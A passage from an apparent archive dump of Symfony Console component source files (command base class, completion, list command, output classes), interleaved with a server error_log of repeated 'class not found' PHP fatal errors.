$message = sprintf('Completion script version is not supported ("%s" given, ">=%s" required).', $version, self::COMPLETION_API_VERSION); $this->log($message); $output->writeln($message.' Install the Symfony completion script again by using the "completion" command.'); return 126; } $shell = $input->getOption('shell'); if (!$shell) { throw new \RuntimeException('The "--shell" option must be set.'); } if (!$completionOutput = $this->completionOutputs[$shell] ?? false) { throw new \RuntimeException(sprintf('Shell completion is not supported for your shell: "%s" (supported: "%s").', $shell, implode('", "', array_keys($this->completionOutputs)))); } $completionInput = $this->createCompletionInput($input); $suggestions = new CompletionSuggestions(); $this->log([ '', ''.date('Y-m-d H:i:s').'', 'Input: ("|" indicates the cursor position)', ' '.(string) $completionInput, 'Command:', ' '.(string) implode(' ', $_SERVER['argv']), 'Messages:', ]); $command = $this->findCommand($completionInput, $output); if (null === $command) { $this->log(' No command found, completing using the Application class.'); $this->getApplication()->complete($completionInput, $suggestions); } elseif ( $completionInput->mustSuggestArgumentValuesFor('command') && $command->getName() !== $completionInput->getCompletionValue() && !\in_array($completionInput->getCompletionValue(), $command->getAliases(), true) ) { $this->log(' No command found, completing using the Application class.'); // expand shortcut names ("cache:cl") into their full name ("cache:clear") $suggestions->suggestValues(array_filter(array_merge([$command->getName()], $command->getAliases()))); } else { $command->mergeApplicationDefinition(); $completionInput->bind($command->getDefinition()); if (CompletionInput::TYPE_OPTION_NAME === $completionInput->getCompletionType()) { $this->log(' Completing option names for the '.($command instanceof LazyCommand ? $command->getCommand() : $command)::class.' command.'); $suggestions->suggestOptions($command->getDefinition()->getOptions()); } else { $this->log([ ' Completing using the '.($command instanceof LazyCommand ? $command->getCommand() : $command)::class.' class.', ' Completing '.$completionInput->getCompletionType().' for '.$completionInput->getCompletionName().'', ]); if (null !== $compval = $completionInput->getCompletionValue()) { $this->log(' Current value: '.$compval.''); } $command->complete($completionInput, $suggestions); } } /** @var CompletionOutputInterface $completionOutput */ $completionOutput = new $completionOutput(); $this->log('Suggestions:'); if ($options = $suggestions->getOptionSuggestions()) { $this->log(' --'.implode(' --', array_map(fn ($o) => $o->getName(), $options))); } elseif ($values = $suggestions->getValueSuggestions()) { $this->log(' '.implode(' ', $values)); } else { $this->log(' No suggestions were provided'); } $completionOutput->write($suggestions, $output); } catch (\Throwable $e) { $this->log([ 'Error!', (string) $e, ]); if ($output->isDebug()) { throw $e; } return 2; } return 0; } private function createCompletionInput(InputInterface $input): CompletionInput { $currentIndex = $input->getOption('current'); if (!$currentIndex || !ctype_digit($currentIndex)) { throw new \RuntimeException('The "--current" option must be set and it must be an integer.'); } $completionInput = CompletionInput::fromTokens($input->getOption('input'), (int) $currentIndex); try { $completionInput->bind($this->getApplication()->getDefinition()); } catch (ExceptionInterface) { } return $completionInput; } private function findCommand(CompletionInput $completionInput, OutputInterface $output): ?Command { try { $inputName = $completionInput->getFirstArgument(); if (null === $inputName) { return null; } return $this->getApplication()->find($inputName); } catch (CommandNotFoundException) { } return null; } private function log($messages): void { if (!$this->isDebug) { return; } $commandName = basename($_SERVER['argv'][0]); file_put_contents(sys_get_temp_dir().'/sf_'.$commandName.'.log', implode(\PHP_EOL, (array) $messages).\PHP_EOL, \FILE_APPEND); } } console/Command/error_log000064400000014162151113511760011506 0ustar00[20-Nov-2025 02:47:29 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/DumpCompletionCommand.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/DumpCompletionCommand.php on line 28 [20-Nov-2025 02:48:15 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/CompleteCommand.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/CompleteCommand.php on line 33 [20-Nov-2025 03:08:45 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/CompleteCommand.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/CompleteCommand.php on line 33 [20-Nov-2025 03:14:18 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/DumpCompletionCommand.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/DumpCompletionCommand.php on line 28 [20-Nov-2025 06:48:30 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/DumpCompletionCommand.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/DumpCompletionCommand.php on line 28 [20-Nov-2025 07:25:05 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/DumpCompletionCommand.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/DumpCompletionCommand.php on line 28 [20-Nov-2025 07:40:48 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/DumpCompletionCommand.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/DumpCompletionCommand.php on line 28 [20-Nov-2025 08:18:38 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/DumpCompletionCommand.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/DumpCompletionCommand.php on line 28 [25-Nov-2025 03:01:59 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/LazyCommand.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/LazyCommand.php on line 27 [25-Nov-2025 03:25:23 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/ListCommand.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/ListCommand.php on line 26 [25-Nov-2025 04:28:34 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/CompleteCommand.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/CompleteCommand.php on line 33 [25-Nov-2025 05:27:07 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/DumpCompletionCommand.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/DumpCompletionCommand.php on line 28 [25-Nov-2025 05:29:26 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/HelpCommand.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/HelpCommand.php on line 26 [25-Nov-2025 23:09:07 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/HelpCommand.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/HelpCommand.php on line 26 [26-Nov-2025 00:38:31 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/DumpCompletionCommand.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/DumpCompletionCommand.php on line 28 [26-Nov-2025 01:32:45 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/LazyCommand.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/LazyCommand.php on line 27 [26-Nov-2025 01:38:46 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/ListCommand.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/ListCommand.php on line 26 [26-Nov-2025 01:56:08 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/CompleteCommand.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Command/CompleteCommand.php on line 33 console/Command/Command.php000064400000054664151113511760011673 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Command; use Symfony\Component\Console\Application; use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Completion\CompletionInput; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Completion\Suggestion; use Symfony\Component\Console\Exception\ExceptionInterface; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\LogicException; use Symfony\Component\Console\Helper\HelperInterface; use Symfony\Component\Console\Helper\HelperSet; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; /** * Base class for all commands. * * @author Fabien Potencier */ class Command { // see https://tldp.org/LDP/abs/html/exitcodes.html public const SUCCESS = 0; public const FAILURE = 1; public const INVALID = 2; /** * @var string|null The default command name * * @deprecated since Symfony 6.1, use the AsCommand attribute instead */ protected static $defaultName; /** * @var string|null The default command description * * @deprecated since Symfony 6.1, use the AsCommand attribute instead */ protected static $defaultDescription; private ?Application $application = null; private ?string $name = null; private ?string $processTitle = null; private array $aliases = []; private InputDefinition $definition; private bool $hidden = false; private string $help = ''; private string $description = ''; private ?InputDefinition $fullDefinition = null; private bool $ignoreValidationErrors = false; private ?\Closure $code = null; private array $synopsis = []; private array $usages = []; private ?HelperSet $helperSet = null; public static function getDefaultName(): ?string { $class = static::class; if ($attribute = (new \ReflectionClass($class))->getAttributes(AsCommand::class)) { return $attribute[0]->newInstance()->name; } $r = new \ReflectionProperty($class, 'defaultName'); if ($class !== $r->class || null === static::$defaultName) { return null; } trigger_deprecation('symfony/console', '6.1', 'Relying on the static property "$defaultName" for setting a command name is deprecated. Add the "%s" attribute to the "%s" class instead.', AsCommand::class, static::class); return static::$defaultName; } public static function getDefaultDescription(): ?string { $class = static::class; if ($attribute = (new \ReflectionClass($class))->getAttributes(AsCommand::class)) { return $attribute[0]->newInstance()->description; } $r = new \ReflectionProperty($class, 'defaultDescription'); if ($class !== $r->class || null === static::$defaultDescription) { return null; } trigger_deprecation('symfony/console', '6.1', 'Relying on the static property "$defaultDescription" for setting a command description is deprecated. Add the "%s" attribute to the "%s" class instead.', AsCommand::class, static::class); return static::$defaultDescription; } /** * @param string|null $name The name of the command; passing null means it must be set in configure() * * @throws LogicException When the command name is empty */ public function __construct(string $name = null) { $this->definition = new InputDefinition(); if (null === $name && null !== $name = static::getDefaultName()) { $aliases = explode('|', $name); if ('' === $name = array_shift($aliases)) { $this->setHidden(true); $name = array_shift($aliases); } $this->setAliases($aliases); } if (null !== $name) { $this->setName($name); } if ('' === $this->description) { $this->setDescription(static::getDefaultDescription() ?? ''); } $this->configure(); } /** * Ignores validation errors. * * This is mainly useful for the help command. * * @return void */ public function ignoreValidationErrors() { $this->ignoreValidationErrors = true; } /** * @return void */ public function setApplication(Application $application = null) { if (1 > \func_num_args()) { trigger_deprecation('symfony/console', '6.2', 'Calling "%s()" without any arguments is deprecated, pass null explicitly instead.', __METHOD__); } $this->application = $application; if ($application) { $this->setHelperSet($application->getHelperSet()); } else { $this->helperSet = null; } $this->fullDefinition = null; } /** * @return void */ public function setHelperSet(HelperSet $helperSet) { $this->helperSet = $helperSet; } /** * Gets the helper set. */ public function getHelperSet(): ?HelperSet { return $this->helperSet; } /** * Gets the application instance for this command. */ public function getApplication(): ?Application { return $this->application; } /** * Checks whether the command is enabled or not in the current environment. * * Override this to check for x or y and return false if the command cannot * run properly under the current conditions. * * @return bool */ public function isEnabled() { return true; } /** * Configures the current command. * * @return void */ protected function configure() { } /** * Executes the current command. * * This method is not abstract because you can use this class * as a concrete class. In this case, instead of defining the * execute() method, you set the code to execute by passing * a Closure to the setCode() method. * * @return int 0 if everything went fine, or an exit code * * @throws LogicException When this abstract method is not implemented * * @see setCode() */ protected function execute(InputInterface $input, OutputInterface $output) { throw new LogicException('You must override the execute() method in the concrete command class.'); } /** * Interacts with the user. * * This method is executed before the InputDefinition is validated. * This means that this is the only place where the command can * interactively ask for values of missing required arguments. * * @return void */ protected function interact(InputInterface $input, OutputInterface $output) { } /** * Initializes the command after the input has been bound and before the input * is validated. * * This is mainly useful when a lot of commands extends one main command * where some things need to be initialized based on the input arguments and options. * * @see InputInterface::bind() * @see InputInterface::validate() * * @return void */ protected function initialize(InputInterface $input, OutputInterface $output) { } /** * Runs the command. * * The code to execute is either defined directly with the * setCode() method or by overriding the execute() method * in a sub-class. * * @return int The command exit code * * @throws ExceptionInterface When input binding fails. Bypass this by calling {@link ignoreValidationErrors()}. * * @see setCode() * @see execute() */ public function run(InputInterface $input, OutputInterface $output): int { // add the application arguments and options $this->mergeApplicationDefinition(); // bind the input against the command specific arguments/options try { $input->bind($this->getDefinition()); } catch (ExceptionInterface $e) { if (!$this->ignoreValidationErrors) { throw $e; } } $this->initialize($input, $output); if (null !== $this->processTitle) { if (\function_exists('cli_set_process_title')) { if (!@cli_set_process_title($this->processTitle)) { if ('Darwin' === \PHP_OS) { $output->writeln('Running "cli_set_process_title" as an unprivileged user is not supported on MacOS.', OutputInterface::VERBOSITY_VERY_VERBOSE); } else { cli_set_process_title($this->processTitle); } } } elseif (\function_exists('setproctitle')) { setproctitle($this->processTitle); } elseif (OutputInterface::VERBOSITY_VERY_VERBOSE === $output->getVerbosity()) { $output->writeln('Install the proctitle PECL to be able to change the process title.'); } } if ($input->isInteractive()) { $this->interact($input, $output); } // The command name argument is often omitted when a command is executed directly with its run() method. // It would fail the validation if we didn't make sure the command argument is present, // since it's required by the application. if ($input->hasArgument('command') && null === $input->getArgument('command')) { $input->setArgument('command', $this->getName()); } $input->validate(); if ($this->code) { $statusCode = ($this->code)($input, $output); } else { $statusCode = $this->execute($input, $output); if (!\is_int($statusCode)) { throw new \TypeError(sprintf('Return value of "%s::execute()" must be of the type int, "%s" returned.', static::class, get_debug_type($statusCode))); } } return is_numeric($statusCode) ? (int) $statusCode : 0; } /** * Adds suggestions to $suggestions for the current completion input (e.g. option or argument). */ public function complete(CompletionInput $input, CompletionSuggestions $suggestions): void { $definition = $this->getDefinition(); if (CompletionInput::TYPE_OPTION_VALUE === $input->getCompletionType() && $definition->hasOption($input->getCompletionName())) { $definition->getOption($input->getCompletionName())->complete($input, $suggestions); } elseif (CompletionInput::TYPE_ARGUMENT_VALUE === $input->getCompletionType() && $definition->hasArgument($input->getCompletionName())) { $definition->getArgument($input->getCompletionName())->complete($input, $suggestions); } } /** * Sets the code to execute when running this command. * * If this method is used, it overrides the code defined * in the execute() method. * * @param callable $code A callable(InputInterface $input, OutputInterface $output) * * @return $this * * @throws InvalidArgumentException * * @see execute() */ public function setCode(callable $code): static { if ($code instanceof \Closure) { $r = new \ReflectionFunction($code); if (null === $r->getClosureThis()) { set_error_handler(static function () {}); try { if ($c = \Closure::bind($code, $this)) { $code = $c; } } finally { restore_error_handler(); } } } else { $code = $code(...); } $this->code = $code; return $this; } /** * Merges the application definition with the command definition. * * This method is not part of public API and should not be used directly. * * @param bool $mergeArgs Whether to merge or not the Application definition arguments to Command definition arguments * * @internal */ public function mergeApplicationDefinition(bool $mergeArgs = true): void { if (null === $this->application) { return; } $this->fullDefinition = new InputDefinition(); $this->fullDefinition->setOptions($this->definition->getOptions()); $this->fullDefinition->addOptions($this->application->getDefinition()->getOptions()); if ($mergeArgs) { $this->fullDefinition->setArguments($this->application->getDefinition()->getArguments()); $this->fullDefinition->addArguments($this->definition->getArguments()); } else { $this->fullDefinition->setArguments($this->definition->getArguments()); } } /** * Sets an array of argument and option instances. * * @return $this */ public function setDefinition(array|InputDefinition $definition): static { if ($definition instanceof InputDefinition) { $this->definition = $definition; } else { $this->definition->setDefinition($definition); } $this->fullDefinition = null; return $this; } /** * Gets the InputDefinition attached to this Command. */ public function getDefinition(): InputDefinition { return $this->fullDefinition ?? $this->getNativeDefinition(); } /** * Gets the InputDefinition to be used to create representations of this Command. * * Can be overridden to provide the original command representation when it would otherwise * be changed by merging with the application InputDefinition. * * This method is not part of public API and should not be used directly. */ public function getNativeDefinition(): InputDefinition { return $this->definition ?? throw new LogicException(sprintf('Command class "%s" is not correctly initialized. You probably forgot to call the parent constructor.', static::class)); } /** * Adds an argument. * * @param $mode The argument mode: InputArgument::REQUIRED or InputArgument::OPTIONAL * @param $default The default value (for InputArgument::OPTIONAL mode only) * @param array|\Closure(CompletionInput,CompletionSuggestions):list $suggestedValues The values used for input completion * * @return $this * * @throws InvalidArgumentException When argument mode is not valid */ public function addArgument(string $name, int $mode = null, string $description = '', mixed $default = null /* array|\Closure $suggestedValues = null */): static { $suggestedValues = 5 <= \func_num_args() ? func_get_arg(4) : []; if (!\is_array($suggestedValues) && !$suggestedValues instanceof \Closure) { throw new \TypeError(sprintf('Argument 5 passed to "%s()" must be array or \Closure, "%s" given.', __METHOD__, get_debug_type($suggestedValues))); } $this->definition->addArgument(new InputArgument($name, $mode, $description, $default, $suggestedValues)); $this->fullDefinition?->addArgument(new InputArgument($name, $mode, $description, $default, $suggestedValues)); return $this; } /** * Adds an option. * * @param $shortcut The shortcuts, can be null, a string of shortcuts delimited by | or an array of shortcuts * @param $mode The option mode: One of the InputOption::VALUE_* constants * @param $default The default value (must be null for InputOption::VALUE_NONE) * @param array|\Closure(CompletionInput,CompletionSuggestions):list $suggestedValues The values used for input completion * * @return $this * * @throws InvalidArgumentException If option mode is invalid or incompatible */ public function addOption(string $name, string|array $shortcut = null, int $mode = null, string $description = '', mixed $default = null /* array|\Closure $suggestedValues = [] */): static { $suggestedValues = 6 <= \func_num_args() ? func_get_arg(5) : []; if (!\is_array($suggestedValues) && !$suggestedValues instanceof \Closure) { throw new \TypeError(sprintf('Argument 5 passed to "%s()" must be array or \Closure, "%s" given.', __METHOD__, get_debug_type($suggestedValues))); } $this->definition->addOption(new InputOption($name, $shortcut, $mode, $description, $default, $suggestedValues)); $this->fullDefinition?->addOption(new InputOption($name, $shortcut, $mode, $description, $default, $suggestedValues)); return $this; } /** * Sets the name of the command. * * This method can set both the namespace and the name if * you separate them by a colon (:) * * $command->setName('foo:bar'); * * @return $this * * @throws InvalidArgumentException When the name is invalid */ public function setName(string $name): static { $this->validateName($name); $this->name = $name; return $this; } /** * Sets the process title of the command. * * This feature should be used only when creating a long process command, * like a daemon. * * @return $this */ public function setProcessTitle(string $title): static { $this->processTitle = $title; return $this; } /** * Returns the command name. */ public function getName(): ?string { return $this->name; } /** * @param bool $hidden Whether or not the command should be hidden from the list of commands * * @return $this */ public function setHidden(bool $hidden = true): static { $this->hidden = $hidden; return $this; } /** * @return bool whether the command should be publicly shown or not */ public function isHidden(): bool { return $this->hidden; } /** * Sets the description for the command. * * @return $this */ public function setDescription(string $description): static { $this->description = $description; return $this; } /** * Returns the description for the command. */ public function getDescription(): string { return $this->description; } /** * Sets the help for the command. * * @return $this */ public function setHelp(string $help): static { $this->help = $help; return $this; } /** * Returns the help for the command. */ public function getHelp(): string { return $this->help; } /** * Returns the processed help for the command replacing the %command.name% and * %command.full_name% patterns with the real values dynamically. */ public function getProcessedHelp(): string { $name = $this->name; $isSingleCommand = $this->application?->isSingleCommand(); $placeholders = [ '%command.name%', '%command.full_name%', ]; $replacements = [ $name, $isSingleCommand ? $_SERVER['PHP_SELF'] : $_SERVER['PHP_SELF'].' '.$name, ]; return str_replace($placeholders, $replacements, $this->getHelp() ?: $this->getDescription()); } /** * Sets the aliases for the command. * * @param string[] $aliases An array of aliases for the command * * @return $this * * @throws InvalidArgumentException When an alias is invalid */ public function setAliases(iterable $aliases): static { $list = []; foreach ($aliases as $alias) { $this->validateName($alias); $list[] = $alias; } $this->aliases = \is_array($aliases) ? $aliases : $list; return $this; } /** * Returns the aliases for the command. */ public function getAliases(): array { return $this->aliases; } /** * Returns the synopsis for the command. * * @param bool $short Whether to show the short version of the synopsis (with options folded) or not */ public function getSynopsis(bool $short = false): string { $key = $short ? 'short' : 'long'; if (!isset($this->synopsis[$key])) { $this->synopsis[$key] = trim(sprintf('%s %s', $this->name, $this->definition->getSynopsis($short))); } return $this->synopsis[$key]; } /** * Add a command usage example, it'll be prefixed with the command name. * * @return $this */ public function addUsage(string $usage): static { if (!str_starts_with($usage, $this->name)) { $usage = sprintf('%s %s', $this->name, $usage); } $this->usages[] = $usage; return $this; } /** * Returns alternative usages of the command. */ public function getUsages(): array { return $this->usages; } /** * Gets a helper instance by name. * * @return HelperInterface * * @throws LogicException if no HelperSet is defined * @throws InvalidArgumentException if the helper is not defined */ public function getHelper(string $name): mixed { if (null === $this->helperSet) { throw new LogicException(sprintf('Cannot retrieve helper "%s" because there is no HelperSet defined. Did you forget to add your command to the application or to set the application on the command using the setApplication() method? You can also set the HelperSet directly using the setHelperSet() method.', $name)); } return $this->helperSet->get($name); } /** * Validates a command name. * * It must be non-empty and parts can optionally be separated by ":". * * @throws InvalidArgumentException When the name is invalid */ private function validateName(string $name): void { if (!preg_match('/^[^\:]++(\:[^\:]++)*$/', $name)) { throw new InvalidArgumentException(sprintf('Command name "%s" is invalid.', $name)); } } } console/Command/LockableTrait.php000064400000003333151113511760013020 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Command; use Symfony\Component\Console\Exception\LogicException; use Symfony\Component\Lock\LockFactory; use Symfony\Component\Lock\LockInterface; use Symfony\Component\Lock\Store\FlockStore; use Symfony\Component\Lock\Store\SemaphoreStore; /** * Basic lock feature for commands. * * @author Geoffrey Brier */ trait LockableTrait { private ?LockInterface $lock = null; /** * Locks a command. */ private function lock(string $name = null, bool $blocking = false): bool { if (!class_exists(SemaphoreStore::class)) { throw new LogicException('To enable the locking feature you must install the symfony/lock component. Try running "composer require symfony/lock".'); } if (null !== $this->lock) { throw new LogicException('A lock is already in place.'); } if (SemaphoreStore::isSupported()) { $store = new SemaphoreStore(); } else { $store = new FlockStore(); } $this->lock = (new LockFactory($store))->createLock($name ?: $this->getName()); if (!$this->lock->acquire($blocking)) { $this->lock = null; return false; } return true; } /** * Releases the command lock if there is one. */ private function release(): void { if ($this->lock) { $this->lock->release(); $this->lock = null; } } } console/Command/ListCommand.php000064400000005030151113511760012506 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Command; use Symfony\Component\Console\Descriptor\ApplicationDescription; use Symfony\Component\Console\Helper\DescriptorHelper; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; /** * ListCommand displays the list of all available commands for the application. * * @author Fabien Potencier */ class ListCommand extends Command { /** * @return void */ protected function configure() { $this ->setName('list') ->setDefinition([ new InputArgument('namespace', InputArgument::OPTIONAL, 'The namespace name', null, fn () => array_keys((new ApplicationDescription($this->getApplication()))->getNamespaces())), new InputOption('raw', null, InputOption::VALUE_NONE, 'To output raw command list'), new InputOption('format', null, InputOption::VALUE_REQUIRED, 'The output format (txt, xml, json, or md)', 'txt', fn () => (new DescriptorHelper())->getFormats()), new InputOption('short', null, InputOption::VALUE_NONE, 'To skip describing commands\' arguments'), ]) ->setDescription('List commands') ->setHelp(<<<'EOF' The %command.name% command lists all commands: %command.full_name% You can also display the commands for a specific namespace: %command.full_name% test You can also output the information in other formats by using the --format option: %command.full_name% --format=xml It's also possible to get raw list of commands (useful for embedding command runner): %command.full_name% --raw EOF ) ; } protected function execute(InputInterface $input, OutputInterface $output): int { $helper = new DescriptorHelper(); $helper->describe($output, $this->getApplication(), [ 'format' => $input->getOption('format'), 'raw_text' => $input->getOption('raw'), 'namespace' => $input->getArgument('namespace'), 'short' => $input->getOption('short'), ]); return 0; } } console/Output/Output.php000064400000010312151113511760011515 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Output; use Symfony\Component\Console\Formatter\OutputFormatter; use Symfony\Component\Console\Formatter\OutputFormatterInterface; /** * Base class for output classes. * * There are five levels of verbosity: * * * normal: no option passed (normal output) * * verbose: -v (more output) * * very verbose: -vv (highly extended output) * * debug: -vvv (all debug output) * * quiet: -q (no output) * * @author Fabien Potencier */ abstract class Output implements OutputInterface { private int $verbosity; private OutputFormatterInterface $formatter; /** * @param int|null $verbosity The verbosity level (one of the VERBOSITY constants in OutputInterface) * @param bool $decorated Whether to decorate messages * @param OutputFormatterInterface|null $formatter Output formatter instance (null to use default OutputFormatter) */ public function __construct(?int $verbosity = self::VERBOSITY_NORMAL, bool $decorated = false, OutputFormatterInterface $formatter = null) { $this->verbosity = $verbosity ?? self::VERBOSITY_NORMAL; $this->formatter = $formatter ?? new OutputFormatter(); $this->formatter->setDecorated($decorated); } /** * @return void */ public function setFormatter(OutputFormatterInterface $formatter) { $this->formatter = $formatter; } public function getFormatter(): OutputFormatterInterface { return $this->formatter; } /** * @return void */ public function setDecorated(bool $decorated) { $this->formatter->setDecorated($decorated); } public function isDecorated(): bool { return $this->formatter->isDecorated(); } /** * @return void */ public function setVerbosity(int $level) { $this->verbosity = $level; } public function getVerbosity(): int { return $this->verbosity; } public function isQuiet(): bool { return self::VERBOSITY_QUIET === $this->verbosity; } public function isVerbose(): bool { return self::VERBOSITY_VERBOSE <= $this->verbosity; } public function isVeryVerbose(): bool { return self::VERBOSITY_VERY_VERBOSE <= $this->verbosity; } public function isDebug(): bool { return self::VERBOSITY_DEBUG <= $this->verbosity; } /** * @return void */ public function writeln(string|iterable $messages, int $options = self::OUTPUT_NORMAL) { $this->write($messages, true, $options); } /** * @return void */ public function write(string|iterable $messages, bool $newline = false, int $options = self::OUTPUT_NORMAL) { if (!is_iterable($messages)) { $messages = [$messages]; } $types = self::OUTPUT_NORMAL | self::OUTPUT_RAW | self::OUTPUT_PLAIN; $type = $types & $options ?: self::OUTPUT_NORMAL; $verbosities = self::VERBOSITY_QUIET | self::VERBOSITY_NORMAL | self::VERBOSITY_VERBOSE | self::VERBOSITY_VERY_VERBOSE | self::VERBOSITY_DEBUG; $verbosity = $verbosities & $options ?: self::VERBOSITY_NORMAL; if ($verbosity > $this->getVerbosity()) { return; } foreach ($messages as $message) { switch ($type) { case OutputInterface::OUTPUT_NORMAL: $message = $this->formatter->format($message); break; case OutputInterface::OUTPUT_RAW: break; case OutputInterface::OUTPUT_PLAIN: $message = strip_tags($this->formatter->format($message)); break; } $this->doWrite($message ?? '', $newline); } } /** * Writes a message to the output. * * @return void */ abstract protected function doWrite(string $message, bool $newline); } console/Output/NullOutput.php000064400000004043151113511760012354 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Output; use Symfony\Component\Console\Formatter\NullOutputFormatter; use Symfony\Component\Console\Formatter\OutputFormatterInterface; /** * NullOutput suppresses all output. * * $output = new NullOutput(); * * @author Fabien Potencier * @author Tobias Schultze */ class NullOutput implements OutputInterface { private NullOutputFormatter $formatter; /** * @return void */ public function setFormatter(OutputFormatterInterface $formatter) { // do nothing } public function getFormatter(): OutputFormatterInterface { // to comply with the interface we must return a OutputFormatterInterface return $this->formatter ??= new NullOutputFormatter(); } /** * @return void */ public function setDecorated(bool $decorated) { // do nothing } public function isDecorated(): bool { return false; } /** * @return void */ public function setVerbosity(int $level) { // do nothing } public function getVerbosity(): int { return self::VERBOSITY_QUIET; } public function isQuiet(): bool { return true; } public function isVerbose(): bool { return false; } public function isVeryVerbose(): bool { return false; } public function isDebug(): bool { return false; } /** * @return void */ public function writeln(string|iterable $messages, int $options = self::OUTPUT_NORMAL) { // do nothing } /** * @return void */ public function write(string|iterable $messages, bool $newline = false, int $options = self::OUTPUT_NORMAL) { // do nothing } } console/Output/StreamOutput.php000064400000006630151113511760012701 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Output; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Formatter\OutputFormatterInterface; /** * StreamOutput writes the output to a given stream. * * Usage: * * $output = new StreamOutput(fopen('php://stdout', 'w')); * * As `StreamOutput` can use any stream, you can also use a file: * * $output = new StreamOutput(fopen('/path/to/output.log', 'a', false)); * * @author Fabien Potencier */ class StreamOutput extends Output { private $stream; /** * @param resource $stream A stream resource * @param int $verbosity The verbosity level (one of the VERBOSITY constants in OutputInterface) * @param bool|null $decorated Whether to decorate messages (null for auto-guessing) * @param OutputFormatterInterface|null $formatter Output formatter instance (null to use default OutputFormatter) * * @throws InvalidArgumentException When first argument is not a real stream */ public function __construct($stream, int $verbosity = 